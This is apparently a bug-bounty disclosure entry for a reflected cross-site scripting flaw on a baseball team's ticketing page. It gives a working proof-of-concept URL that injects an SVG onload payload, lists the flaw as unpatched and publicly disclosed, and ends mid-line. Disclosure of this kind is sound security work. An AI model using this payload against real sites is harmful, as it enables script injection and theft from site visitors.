miami.marlins.mlb.com XSS vulnerability

Vulnerable URL: http://miami.marlins.mlb.com/mia/ticketing/supergroup.jsp?group=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3Ejonjay Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...